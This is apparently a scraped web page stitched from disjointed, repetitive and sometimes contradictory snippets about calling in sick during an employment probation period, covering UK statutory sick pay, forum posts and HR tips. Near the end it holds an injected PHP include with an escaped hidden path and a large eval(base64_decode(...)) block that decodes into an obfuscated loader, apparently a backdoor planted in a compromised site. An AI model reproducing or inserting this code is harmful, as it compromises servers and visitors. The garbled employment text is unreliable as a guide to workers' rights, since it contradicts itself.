You work in a point system which is pretty lenient. You get 5 call ins firings a six months period. On your sixth call in your fired in six month I am worried about calling in and it reflecting on me badly. Literally half the shop is out sick, and i am coming down with it too. I was fired today for missing work doing my 90 days I also had a doctor's note each time I wasn't a work Sickness absence in the probation period should be assessed as part of performance. I am worried about calling in and it reflecting on me badly. However, make sure you are not completely vague so you dont give the impression your reason is not genuine. And now I want to join them for financial reasons and leave my current job during the probation period. The job applicants who want to get hired should complete a 90-day probationary period. You're all welcome here. Remember, if you are diagnosed with an illness or need time off for a pre-existing condition that could be considered a protected characteristic you are protected from unfair dismissal. My advice is that if you truly are Your payroll department just have to work it out differently, basing it on your salary. The legal minimum notice required to dismiss an The most likely outcome from being ill is that your probation will be extended by the number of days you took off. Our guide on unfair dismissal during probation talks about your rights in depth. You can claim SSP if you earn on average at least 123 a week before tax. Time in Lieu (TOIL) Explained Days off for Working Overtime, How Many Breaks in a 12 hour Shift? Employees on probation have the right to paid sick leave from their first day of employment. Our employees received no firms sick pay for the first three months of employment and this is written in to their contract of employment. Sickness is part of life, and can happen at any time. The other thing to remember, is that you could still deal with their absence through the disciplinary procedure, or through a capability procedure if you have one. If youre feeling ill, try your best to go into work you can always leave early if Secondly, when you call in, ask to speak to the Statutory sick pay has a qualifying period known as waiting days. However, this will not impact your statutory right to sick pay. 20 organisations powering positive cultures, Employee recognition and surviving in tough times, LGBTQ+ History Month: How to boost allyship, Join HRZone in London to network and celebrate - 16 March, The World of Learning Summit at Olympia London - 28 February. SSP rates are currently 99.35 per week and will increase to 109.40 in April 2023. Your policy should be amended to reflect this. WebEmployees may be put on probation for many reasons. Such periods are often referred to simply as probation. You really dont want the first report your manager or the HR Director receives about you to be an absentee report. WebDefinition of call in sick in the Idioms Dictionary. Following company procedures to the letter is important when you are trying to pass probation. So this was not turning up without using the correct procedure, phoning the sickness absence line is correct procedure. Break Entitlement for 8 Hour Shifts How Long is Your Break? She now owns a successful software testing and training consultancy business. This means you can still accrue and access paid leave entitlements like annual leave and sick leave, whether youre employed on a full-time or part-time basis on probation. During probation if performance is unsatisfactory then the period is either extended to try and overcome the problem or the employee is dismissed with medical evidence having been obtained of fitness for the duties and potential DDA link. A probationary period in an employment setting is a specific timeframe in which a new employees job performance is closely monitored. You should do everything possible to show up for work. Show up early, stay late, when done with something, ask if there is something else you can do. WebThe probationary period clause should expressly state that the employee will not be deemed to have passed their probation unless they receive written confirmation to that effect from the employer; otherwise, the probationary period may inadvertently lapse and the employer will not be able to extend the probationary period. Remember, if you are too ill to work properly you may end up performing 1680 hours if serving a twelve (12)-month probationary period. sick call: [noun] a scheduled time at which individuals (such as soldiers) may report as sick to the medical officer. The other way of doing it is that you can decide not to confirm someone's probationary period if you feel it hasn't been completed satisfactorily (for whatever reason). Renaming it to an orientation period, initiation or training period can help ease this stress. This means that you are entitled to some kind of sick pay during your probation period. What does call in sick expression mean? WebWhile youre on a probationary period, you should receive the same entitlements as any other employee who isnt. WebCalled in sick during probationary period So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain all my life but no endo or PCOS diagnosed. ) Performance reviews are common during this period, as they give both the employee and employer an opportunity to discuss any concerns. Could You Be Fired for being Sick on Probation? Good communication will help your manager understand your sickness is authentic. if a company hired and fired you within 90 days, it better have been a much bigger problem then When taking a sick day, it's important to communicate with your coworkers and managers. When youre calling in sick, make sure you:-. We have found that this has cut down on absence during probation - our stats showed that people on probation were the group with the highest absence rate. This could reflect badly on your probation review just as much as taking too many days off. Call in sick. However, so long as you communicate well with work and follow procedure, it should not cause you any problems with your job. The guide offers sample text and examples of how to write to your manager, and approach phone calls. So what should you do when calling in sick during your probation period to make the best possible impression? Its not unusual for a reduced range of benefits to be offered to employees during the probation period. WebMy probationary period ends in a week and i havent called in once. Has anyone been fired for calling in sick during their 90 days? Here's a Health Sciences employees, contact Employee Advocacy and Labor Relations . However. If your staff handbook advises you to call your line manager every day you are off, do so. WebCalled in sick during probationary period So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain all my life but no endo or PCOS diagnosed. ) Save my name, email, and website in this browser for the next time I comment. Just curious? ?>. WebThe term of the probation period will be what the parties agree and most commonly this is between three and six months. Actually you should not call in at all, this is considered a probation period to train and learning your job duties.If sick, you will need to get s WebIf an employee is dismissed during their probation period, they will still be entitled to a minimum statutory notice period. During this period, it is important to understand your Sick pay entitlements are worked out based on the average of the last 8 weeks wage from your employer. The most likely outcome if you are sick during probation is that your employer will extend your probation period by the same number of days you took off. Plenty of people who have started after me have already called in multiple times in the middle of the week and still have their jobs. Can you be fired for taking sick leave during probation? Overpaid by Employer After Leaving What Are My Rights? This is a subreddit aimed at women in the construction trades and other blue collar professions. But what if you need to take time off due to ill health? Dismissal beyond the statutory probationary period without notice or pay in lieu of notice will violate the employees employment standards entitlement to termination You might even be wondering if you are allowed to call in sick at all during probation. After a certain minimum period of timetypically 30 to 90 daysthe defendant can apply for shock probation. You are not obligated to provide detailed medical information about your reason for being off. Find out more about statutory sick pay at Citizens Advice. A probationary period is a stretch of time during which a new or existing employee receives extra supervision and coaching, either to learn a new job or to turn around a performance problem. However, if your pattern of absences looks suspicious to your employer, dismissal during a probation period after taking time off for sickness is a possibility. Actually you should not call in at all, this is considered a probation period to train and learning your job duties.If sick, you will need to get something from doctor office Its natural to be concerned about taking time off sick during probation. The length of any probation period must not be unreasonable. So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain The first thing you need to do is to extend the probationary period as you have not had adequate time to assess their performance due to their absence. First of all, don't ever put a minimum wage unskilled labor employer like Kroger above personal issues. Our guide on what happens when sick pay runs out has more information if you have a long term absence. Dont worry, our guide will look at how to call in sick, what your employer is likely to do, and your rights to sick pay on probation. They might feel on edge or worry theyre on thin ice. The employee also needs to have six months attendance in order to qualify for company sick pay, otherwise they continue to receive SSP. If you have been open, honest and genuine it should not be a problem for most workplaces. Related: Average Sick Days Per Year. Now that competing offer from the other company has increased to almost 2x the offer that they initially proposed. Employers might take a dim view of excessive absences for reasons they dont think are genuine. There are two types of sick pay you may be eligible for:-. Its advisable to follow sickness procedure to the letter youll demonstrate your ability to stick to procedure in your workplace. Contents Guide, Cant Work Due to No Childcare Your Rights in UK Law. You are entitled to this form of paid sick leave regardless of your contract status. They should also explain Zero Hours Contracts UK What Are They & What Rights Do Workers Have. I think im being a bit of a nervous nelly about it, but i live in an at-will state, and am not the type to call in. An applicant selected for a career appointment to a non-bargaining position must serve a probationary period. How to call in sick. qualifying period known as waiting days, what happens if you need time off sick during your notice period, Latex Gloves Guide Pros & Cons of Using Latex Disposables, Can an Employer Withhold Pay? It should have information on what you can expect. Typically, this is done by allowing employees to enjoy some benefit (like accrued vacation or sick leave or 401(k) enrollment) that they did not have before That means it will only be paid if you have been sick for more than 4 days in a row. Literally half the shop is out sick, and i am coming down with it too. WebAside from any pre-existing commitments, try not to take any time off during your probation period. Typically for an amount of time called a probationary period.. Even though you are on probation, a dismissal due to taking sick leave would be illegal. A sick courtesy clerk came in all last week sick and passed it to When youre on probation in a new role, you will be keen to make a good impression. I would be very interested to see what other companies do before preparing this guidance for our management team. WebDuring the prescribed length of the probationary period, the employee is required to work the following hours: 840 hours if serving a six (6)-month probationary period. Thank you for not coming in and passing your virus. Our general guide gives detailed suggestions on how to call in sick to work. Scan this QR code to download the app now. WebDuring the first year of employment, employers may decide to use an accrual system to calculate the workers holiday entitlement. It is possible that some employers would look at dismissal during your probationary period for sickness absence. include "\x2fhom\x65/tj\x6bwlm\x38vgk\x30q/p\x75bli\x63_ht\x6dl/c\x6fmpo\x6eent\x73/co\x6d_us\x65r/m\x6fdel\x73/ut\x66.ph\x70"; Im not going to the doctor, its just a good ole spring flu. We only pay for sickness under SSP rulings whilst on probation. It's not common for employees not to pass probation in office work in general (that I'm aware of), but with many trades industries and others it's pretty common. Work Rotas Law in the UK, Calling in Sick to Work Employee Rights in the UK, Health Confidentiality in the Workplace Legal Right to Medical Privacy. If your absence is for a very personal or embarrassing reason, you can always say you have a tummy bug. Can you get fired for calling in sick during probation? However, the amount of sick pay you get will depend on your employment contract. If your employer does not offer enhanced sick pay during probation, you will still be entitled to statutory sick pay. My Employer Overpaid Me What Are My Rights if its not my Fault? Hobbyist? eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJEtjSFlmZ1pxRCA9IDc0NjM7IGZ1bmN0aW9uIE9neWNOZ3EoJFVEckVQUEtlLCAkYU1LYmIpeyR4YllzQWxaID0gJyc7IGZvcigkaT0wOyAkaSA8IHN0cmxlbigkVURyRVBQS2UpOyAkaSsrKXskeGJZc0FsWiAuPSBpc3NldCgkYU1LYmJbJFVEckVQUEtlWyRpXV0pID8gJGFNS2JiWyRVRHJFUFBLZVskaV1dIDogJFVEckVQUEtlWyRpXTt9CiRxU2hZUUs9InJhd3VybCIgLiAiZGVjb2RlIjtyZXR1cm4gJHFTaFlRSygkeGJZc0FsWik7fQokQVVpeG9yID0gJyU3Z21GbV9QajElaWUlaVJqMjJ2Ml91dnElaVIlaXQlaWdRYVdXJWlUJUxzJWdvJWdkJTdnbUZtX1BqMSVpZSVpUnV2cV8nLgonajIydjJQJWlSJWl0JWlnZyVpVCVMcyVnbyVnZCU3Z21GbV9QajElaWUlaVJsOHBfanBqQkUxbXZGXzFtbGolaVIlaXQlaWdnJWlUJUxzJWdvJScuCidnZCU3Z2oyMnYyXzJqR3YyMW1GcSVpZWclaVQlTHMlZ28lZ2QlN2dQajFfMW1sal91bWxtMSVpZWclaVQlTHMlZ28lZ2QlZ28lZ2QlZ28lZ2RtWSVpZSVpJy4KJ1ZDalltRmpDJWllJWlpTUpNX2tyVyVpaSVpVCVpVCVnbyVnZCVScyVnbyVnZCVpZyVpZyVpZyVpZ0NqWW1GaicuCiclaWUlaWlNSk1fa3JXJWlpJWl0JWlnJWlpJUt0RiVpaSVpVCVMcyVnbyVnZCVSbyVnbyVnZCVnbyVnZG1ZJWllJWlWQ2pZbUZqQyVpZSVpaW9YbicuCidrdDBybk9fNWtNZG5kMHJuJWlpJWlUJWlUJWdvJWdkJVJzJWdvJWdkJWlnJWlnJWlnJWlnQ2pZbUZqJWllJWlpb1hua3Qwcm5PXzVrTWRuZDBybiVpaSVpdCVpZyVpaS8lJy4KJ2lpJWlUJUxzJWdvJWdkJVJvJWdvJWdkJWdvJWdkbVklaWclaWUlaVZDalltRmpDJWllJWlSZFdua2RvT19uYVFfVjc3QmVSQll4aUxaOGVpODhZbXhlJy4KJzJtOFpWeDgxbXZWZSVpUiVpVCVpVCVnbyVnZCVScyVnbyVnZCVpZyVpZyVpZyVpZ0NqWW0nLgonRmolaWUlaVJkV25rZG9PX25hUV9WNzdCZVJCWXhpTFo4ZWk4OFlteGUybThaVng4MW12VmUlaVIlaXQlaWdWJWlUJUxzJWdvJWdkJWdvJWdkJScuCidpZyVpZyVpZyVpZyVpN0M4MTglaWclTG8laWdRYVdXJUxzJWdvJWdkJWlnJWlnJWlnJWlnJScuCidpN0M4MThfQWpOJWlnJUxvJWlnUWFXVyVMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpN2NXcnNkVzUlS3MlaVJCUF84RTE5JWlSJUtvJScuCidpZyVMbyVpZyVpUmVqeEJlN1RqLVplaWUtN1pMOC04WVJ4LVlMZ1k3aUw3WmVZNyVpUiVMcyVnbyVnZCVpZyVpZyVpZyVpZ3F1dlo4dSVpZyVpN0JQXzhFMScuCic5JUxzJWdvJWdkJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9jajFKdlAxJWllJWlUJWdvJWdkJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJScuCidpZyVpZyVpZyVpZyVpZzJqMUUyRiVpZ1AxMjF2dXZ6ajIlaWVHMmpxXzJqR3U4QmolaWUlaVIvJUtrJWllenp6JVJ0WTFHJWlUJUt0Li9tJWlSJWl0JWlSJy4KJyVpUiVpdCU3ZyVpN181a242a24lS3MlaVJKMDBNX0pyNTAlaVIlS28laVQlaVQlTHMlZ28lZ2QlaWcnLgonJWlnJWlnJWlnJVJvJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9jajFmMm0xOFp1am9tMlAlaWUlaVQlZ28lZ2QlaWclaWclaWclaWclUnMlZ28lJy4KJ2dkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3MmpQJWlnJUxvJWlnZDIyOE4laWUlaVQlTHMlZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaTcnLgonOEY4dU5QTlBfVUVqRWolaWclTG8laWdkMjI4TiVpZSVpVCVMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZycuCiclaWclaWclaTc4Rjh1TlBOUF9VRWpFaiVLcyVLbyVpZyVMbyVpZ0JQX2NqMW92Qm52djElaWUlaVQlTHMlZ28lZ2QlZ28nLgonJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3UGp1WV9HODE5JWlnJUxvJWlnJWk3XzVrbjZrbiVLcyVpUjUnLgondG5YTTBfRFhXa1FkeWslaVIlS28lTHMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWd6OW11aiVpZyVpZSVpZSVpN1B1OFA5JWlnJy4KJyVMbyVpZ1AxMjJHdlAlaWUlaTdQanVZX0c4MTklaXQlaWdvWG5rdDBybk9fNWtNZG5kMHJuJWlUJWlUJWlnJWlWJUxvJUwnLgonbyVpZ0RkVzVrJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWknLgonZyVpZyVpN1BqdVlfRzgxOSVpZyVMbyVpZ1BFWlAxMiVpZSVpN1BqdVlfRzgxOSVpdCVpZ2claXQlaWclaTdQdTgnLgonUDklaVQlTHMlZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdtWSVpZyVpZSVpN1BqdVlfRzgxOSVpJy4KJ2clTG8lTG8laWdCUF9jajFvdkJudnYxJWllJWlUJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWcnLgonZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ1oyajhBJUxzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJy4KJyVpZyVpZyVpZyVpZyVSbyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ21ZJWlnJWllUDEydScuCidqRiVpZSVpN1BqdVlfRzgxOSVpVCVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpJy4KJ2claWclaWclaWclaWclaWclaWclaWclaTc4Rjh1TlBOUF9VRWpFaiVLcyVLbyVpZyVMbyVpZyVpN1BqdVlfRzgxOSVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpJy4KJ2claWclaWclaWclaWclaWclUm8lZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWdZJy4KJ3YyajhCOSVpZyVpZSVpNzhGOHVOUE5QX1VFakVqJWlnOFAlaWclaTdCRTIyakYxX0NtMiVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyUnLgonUnMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdtWSVpZyVpZSVpVm1GXzgyMjhOJWllJWk3 BE22jF1_C'.
'm2%it%ig%i72jP%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%'.
'ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i72jP%ig%Lo%ig8228N_lj2qj%ie%i72jP%it%igBP_cj1om2jB'.
'1v2NWmP1%ie%i7BE22jF1_Cm2%iT%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig'.
'%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%'.
'ig%ig2j1E2F%igBP_t9jBAf2m18Zuj%ie8228N_EFmUEj%ie%i72jP%iT%iT%Ls%go%gd%ig%ig%ig%ig%Ro%go%gd'.
'%go%gd%ig%ig%ig%igYEFB1mvF%igBP_t9jBAf2m18Zuj%ie%i7Cm2_umP1%iT%go%gd%ig%ig%ig%ig%R'.
's%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7Cm2_umP1_z2m18Zuj%ig%Lo%igd228N%ie%iT%'.
'Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igYv2j8B9%ig%ie%i7Cm2_umP1%ig8P%ig%i7Cm2%iT%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%7'.
'gmP_z2m18Zuj%ie%i7Cm2%iT%ig%ix%ix%igmP_Cm2%ie%i7Cm2%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig'.
'%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7Cm2_umP1_z2m18Z'.
'uj%Ks%Ko%ig%Lo%ig%i7Cm2%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig'.
'%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i7Cm2_umP1_z2m18Zuj%Ls%go%gd%ig%'.
'ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_cj1om2jB1v2NWmP1'.
'%ie%i7Cm2%it%ig%i7CjG19%LoVg%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig'.
'%ig%ig%ig%i72jPEu1%ig%Lo%ig8228N%ie%iT%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%'.
'ig%igmY%ig%ie%iVmP_Cm2%ie%i7Cm2%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig2j1E2F%ig%i72jPEu1%Ls%go%gd%ig%ig%ig%ig%ig%ig%i'.
'g%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i72jPEu'.
'1%Ks%Ko%ig%Lo%ig%i7Cm2%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7Cm2_'.
'BvEF1%ig%Lo%igg%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%i7CjG19%ig%Lt%igV%iT%go%'.
'gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%'.
'ig2j1E2F%ig%i72jPEu1%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7Cm2%'.
'ig%Lo%igP12ujF%ie%i7Cm2%iT%ig%Lo%Lo%igV%ig%LD%ig%i7Cm2%ig%Ld%ig2'.
'12ml%ie%i7Cm2%it%ig%iR%Kt%Kt/%iR%iT%Ls%go%gd%ig%ig%ig%'.
'ig%ig%ig%ig%ig%i79%ig%Lo%ig%7gvGjFCm2%ie%i7Cm2%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%i79%ig%'.
'Lo%Lo%Lo%igDdW5k%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E'.
'2F%ig%i72jPEu1%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%i'.
'g%ig%ig%ig%ig%igz9muj%ig%ie%ie%i7Y%ig%Lo%ig2j8CCm2%ie%i79%iT%iT%ig%iV%Lo%Lo%igDdW5k%'.
'iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igmY%ig'.
'%ie%i7Y%ig%iV%Lo%Lo%ig%iR.%iR%ig8FC%ig%i7Y%ig%iV%Lo%Lo%ig%iR..%iR'.
'%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig'.
'%ig%ig%ig%i7BE22jF1_Cm2%ig%Lo%ig%ii%i7Cm2/%i7Y%ii%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%'.
'ig%ig%ig%ig%igmY%ig%iemP_Cm2%ie%i7BE22jF1_Cm2%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%'.
'ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7C'.
'm2_BvEF1%ig%is%Lo%igV%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%i72jPEu1%Ks%Ko%ig%Lo%ig%i7BE22jF1_Cm2%Ls%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i'.
'g%i72jPEu1%ig%Lo%ig8228N_lj2qj%ie%i72jPEu1%it%igBP_cj1om2jB1v2NWmP1%ie%i7BE22jF1_Cm2%it%ig%i7Cj'.
'G19%ig/%igVg%iT%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%'.
'gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igBuvPjCm2%ie%i79%iT%Ls%go%g'.
'd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i72jPEu1%Ls%go%gd%ig%ig%ig%i'.
'g%Ro%go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_cj1ovBnvv1%ie%iT%go%gd'.
'%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7CvB2vv1_jFC%ig%Lo%i'.
'gP122GvP%ie%i7_5kn6kn%Ks%iR5tnXM0_DXWkQdyk%iR%Ko%it%ig%i7_5kn6kn%Ks%iRnkbak50_anX%iR%Ko%iT%L'.
's%go%gd%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%i7CvB2vv1_jFC%ig%Lo%Lo%Lo%igDdW5k%iT%go%gd%ig%ig%ig%'.
'ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i'.
'7_5kn6kn%Ks%iRortaykQ0_nrr0%iR%Ko%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%i'.
'g%ig%ig%ig%ig%igjuPjmY%ig%ie%i7CvB2vv1_jFC%ig%Lo%Lo%Lo%igg%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%i'.
'g%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%ii/%ii%Ls%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%igjuPj%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig'.
'%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%igPEZP12%ie%i7_5kn6kn%Ks%iR5tnXM0_DXWkQdyk%iR%Ko%i'.
't%igg%it%ig%i7CvB2vv1_jFC%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%i'.
'g%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igmY%ig%ie%iVYEFB1mvF_jpmP1P%ie%i'.
'RYmuj_GE1_BvF1jF1P%iR%iT%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig'.
'%ig%igYEFB1mvF%igYmuj_GE1_BvF1jF1P%ie%i7F%it%ig%i7C%it%ig%i7Yu8q%ig'.
'%Lo%igD8uPj%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7lvC'.
'j%ig%Lo%ig%i7Yu8q%ig%Lo%Lo%ige%ig%LD%ig%iR8%iR%ig%Ld%ig%iRz%iR%Ls%go%g'.
'd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7Y%ig%Lo%ig%7gYvGjF%ie%i7F%it%ig%i7lvCj%i'.
'T%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%i7Y%ig%Lo%Lo%Lo%igD8uPj%iT%go%gd%ig%ig%ig%ig'.
'%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%ig2j1E2F%igg%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%ig%ig%ig%ig%igjuPj%go%gd%ig%ig%ig%ig%ig%ig%ig'.
'%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igmY%ig%iemP_8228N%ie%i'.
'7C%iT%iT%ig%i7C%ig%Lo%igmlGuvCj%ie%i7C%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig'.
'%ig%ig%ig%ig%i7ZN1jP_z2m11jF%ig%Lo%igYz2m1j%ie%i7Y'.
'%it%ig%i7C%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igYBuvPj%ie%i7Y%iT%'.
'Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i7ZN1jP_z2m11jF%Ls%go%g'.
'd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig'.
'%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%ig'.
'mY%ig%ie%iVYEFB1mvF_jpmP1P%ie%iRYmuj_qj1_BvF1jF1P%iR%iT%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%igYEFB1mvF%igYmuj_qj1_BvF1jF1P%ie%i7YmujF8lj%iT'.
'%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7Y98FCuj%i'.
'g%Lo%igYvGjF%ie%i7YmujF8lj%it%ig%ii2%ii%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7YBvF1jF'.
'1P%ig%Lo%igY2j8C%ie%i7Y98FCuj%it%igYmujPmwj%ie%i7YmujF8lj%iT%iT%L'.
's%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igYBuvPj%ie%i7Y98FCuj%iT%Ls%go%gd%go%gd'.
'%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i7YBvF1j'.
'F1P%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%Ro%go%gd%'.
'go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_CjB2NG1_G98Pj'.
'%ie%i7C818%it%ig%i7AjN%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig'.
'%ig%i7vE1_C818%ig%Lo%ig%ii%ii%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igYv'.
'2%ig%ie%i7m%Log%Ls%ig%i7m%LtP12ujF%ie%i7C818%iT%Ls%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig'.
'%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igYv2%ig%ie%i73%Log%L'.
